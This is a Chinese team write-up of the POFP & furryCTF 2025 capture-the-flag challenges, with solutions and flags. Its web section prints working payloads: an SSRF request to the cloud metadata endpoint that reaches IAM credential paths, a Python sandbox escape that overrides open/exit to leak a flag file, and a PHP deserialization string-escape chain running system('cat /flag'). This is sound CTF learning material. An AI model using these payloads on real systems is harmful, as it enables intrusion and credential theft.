
POFP & furryCTF 2025​

队员：inex，不得其名，Spring​

Misc​

签到题​

查看结果+查看源码（url前面加个view-source:）​

搜索furry​

furryCTF{Cro5s_The_Lock_0f_T1me}

CyberChef​

直接看注释，txt中的操作实际上是暗指了一些程序操作，如赋值，堆栈等等​

代码块​

import re

def decrypt_kfc_chef(file_path):
    # 1. 定义材料及其对应的克数 (数值) ​
    ingredients = {
        "salt": 2, "sage": 34, "oil": 27, "ginger": 37, "milk": 13,
        "butter": 5, "flour": 7, "paprika": 45, "turmeric": 32,
        "pepper": 29, "vanilla": 19, "thyme": 35, "rosemary": 9,
        "eggs": 11, "cheese": 26, "cinnamon": 40, "honey": 23,
        "nutmeg": 43, "basil": 31, "oregano": 14, "tomato": 22,
        "garlic": 16, "parsley": 42, "onions": 10, "potatoes": 8,
        "sugar": 1, "cumin": 12, "coriander": 49, "chicken": 17
    }

    with open(file_path, 'r', encoding='utf-8') as f:
        lines = f.readlines()

    current_sum = 0
    decoded_message = ""

    for line in lines:
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        line = line.strip().lower()
        
        # 2. 匹配 "Put" 或 "Add" 指令 [cite: 3, 4]​
        # 逻辑：只要往 mixing bowl (主碗) 里放东西，就累加数值​
        if "into the mixing bowl" in line or "add" in line and "to the mixing 
bowl" in line:
            for ing in ingredients:
                if ing in line:
                    current_sum += ingredients[ing]
                    break
        
        # 3. 匹配 "Liquify" 指令 [cite: 5]​
        # 逻辑：液化代表当前数值计算完成，将其转为 ASCII 字符​
        if "liquify contents of the mixing bowl" in line:
            if current_sum > 0:
                decoded_message += chr(current_sum)
            
        # 4. 匹配 "Clean the mixing bowl" 指令 [cite: 5, 6]​
        # 逻辑：清空当前累加值，准备下一个字符​
        if "clean the mixing bowl" in line and "2nd" not in line and "3rd" not 
in line:
            current_sum = 0

    return decoded_message

# 使用方法：将你的文本保存为 Fried_Chicken.txt 放在同目录下执行​
try:
    result = decrypt_kfc_chef('Fried_Chicken.txt')
    result = result[::-1]
    print("解密结果为:", result)
except FileNotFoundError:
    print("请确保 Fried_Chicken.txt 文件存在。")

base64再解码就ok了​

furryCTF{I_Wou1d_L1ke_S0me_Colon9l_Nugge7s_On_Cra7y_Thursd5y_VIVO_5O_A
WA}

余音藏秘（赛后）​

打了一半也写一下吧（

第一段明显的sstv，扫描了获得图片，是一个二维码，扫一下​
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U2FsdGVkX1/RxNkd2IGdQJ/tLDwU+2qkasEwAENOgBw=​

解码得到第一段：Salted__​

我们来看看ai的解释​

以 Salted__ （Base64 编码为 U2FsdGVkX1 ）开头的密文，是 OpenSSL 加密标准和 
CryptoJS（JavaScript 加密库）最显著的特征。​

这种格式被称为 OpenSSL 兼容格式。以下是它的具体含义和背后的特征：​

1. 它是“基于密码（Passphrase）”的加密​

当你看到 Salted__  时，意味着加密者没有直接使用原始的二进制密钥（Key）和偏移量（IV），
而是使用了一个人类可读的字符串密码（比如你提到的 123456 ）。​

2. 引入了“盐”（Salt）机制​

这是该特征的核心：

• 什么是盐： 在加密时，系统会生成一个 8 字节的随机字符串（即“盐”）。​

• 作用： 它将你的密码（如 123456 ）与这组随机盐混合，通过哈希算法（通常是 MD5 或 
SHA256）计算出真正的、复杂的二进制密钥。​

• 防止彩虹表攻击： 即使两个人都使用 123456  作为密码，因为生成的“盐”不同，最终得到的
密文也会完全不同。这让黑客无法通过预先计算好的字典来破解。

3. 数据结构分布​

如果你把这段密文进行 Base64 解码，你会发现它的内部结构是固定的：​

4. 常见的 Base64 前缀​

因为密文通常以 Base64 形式传输，你可以直接通过前几个字符判断：​

• U2FsdGVkX1 ：这 10 个字符几乎 100% 代表了后面是加盐的加密数据。​



5. 它支持哪些算法？​

Salted__  只是一个外壳格式，它并不代表特定的某种加密算法。它通常包裹着以下算法之一：​

• AES (AES-256-CBC, AES-128-CBC) —— 最常见。​

• RC4 —— 流加密算法。​

• Rabbit —— 流加密算法。​

• TripleDES —— 老牌加密算法。​

总结​

当你看到 Salted__  时，你就知道：​

1. 必须有一个"文本密码"才能解开。​

2. 解密工具必须支持 OpenSSL 派生算法（即它得知道怎么从 Salted__  后面那 8 字节里把盐提
出来，再结合你的密码算出真正的 Key）。​

3. 它是一个“动态”的结果：即使你加密同一个单词，每次生成的 Base64 字符串都会变，因为里

面的“盐”是随机生成的。

最后试出来是RC4加密​

pofp{FjMIWA095s}

困兽之斗​

pyjail沙箱，斜体eval()绕过，直接输入指令即可​

Crypto​

迷失​

识别题型：OPE​



拆密文；排序；用模板反推；顺序约束传播；还原；

###最后得出FLAG:furryCTF{Pleasure_Query_Or6er_Prese7ving_cryption_owo}​

Tiny random

识别漏洞：随机数小k由256bit变成了128bit,直接把ECDSA转化成了HNP问题​

之后把得到的60组数据放进一个格中，LLL得到答案（这就是k小的后果）​

自动化脚本最好有检查，不然哪错了都不知道





写脚本时用了AI辅助，自己写错的太多了，收集了数据后出问题，AI完善后恍然大悟​

得出flag:​

POFP{9fa3a302-1854-449c-a9e9-69aea07f65ad}​

Web​

ezmd5​

进来看到源码



审计发现是一个简单的md5强比较​

post传参：​

user[]=1&pass[]=2​

得到flag：​

CCPreview​

进来看到这么一个东西



怀疑试ssrf，但是打12.0.0.7无果，经过搜索发现是道cve​

搜索词条EC2实例ssrf得到​

直接抄payload：http://169.254.169.254/latest/meta-data/​

http://169.254.169.254/latest/meta-data/


看着像url地址，追查http://169.254.169.254/latest/meta-data/iam/​

跟进得到

http://169.254.169.254/latest/meta-data/iam/


PyEditor​

下载附件看源码发现是一个沙箱，但是在exit()后面有读取flag的逻辑​

可是ban的东西很多，那么尝试污染exit()为空，并且污染with open('/flag.txt', 'w') as f:的逻辑直接让

flag回显而不是写入文件​

payload：​

global exit, open​



exit = lambda *a, **k: None​

class _Leak:​

    def enter(self):​

        return self​

    def exit(self, *exc):​

        return False​

    def write(self, s):

        print("aaaflag批发：", repr(s))​

def open(*a, **k):​

    return _Leak()​

print("inex")​

得到：

babypop​

说是baby，但其实感觉并不baby（太菜了ww​

进来看到源码





一看就是pop链，先思考如何调用：先调用LogService类的__destruct，然后调用FileStream类的

close()进行rce即可，但是重点在如何触发LogService类的__destruct，以及怎样给FileStream类的

private属性mode赋值。审计发现：​

这里的逻辑是先对序列化后的字符串进行替换后再反序列化，那么就可以用上php反序列化的字符串逃

逸知识

经过测试，对private属性直接像public一样赋值即可，所以最后构造的payload：​

user=hackerhackerhacker&bio=;s:3:"bio";O:10:"LogService":2:

{s:7:"handler";O:10:"FileStream":3:

{s:16:"%20FileStream%20path";N;s:4:"mode";s:5:"debug";s:7:"content";s:20:"system(%27cat%2

0/flag%27);";}s:12:"%20*%20formatter";N;}s:10:"preference";N;}UserProfile%20Object​

最后post传参得到：​



Forensics​

深夜来客​

直接搜furry的base64编码开头 ZnVy ，发现base64编码的flag​

追踪TCP流或者直接复制都可以​

furryCTF{Fr0m_Anon9m0us_To_Ro0t}

谁动了我的钱包​



既然五个out都是黑客所为，尝试搜寻第一个去向地址​

再选一次第一个

这下可以看出来金额不同了，选择金额最大的一个转入地址

0x657faA98cEB7F4c627D9f4D0F2Dbf3374Fe5D8Fd​

重复这个策略，最终得到黑客的钱包地址



POFP{0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72}


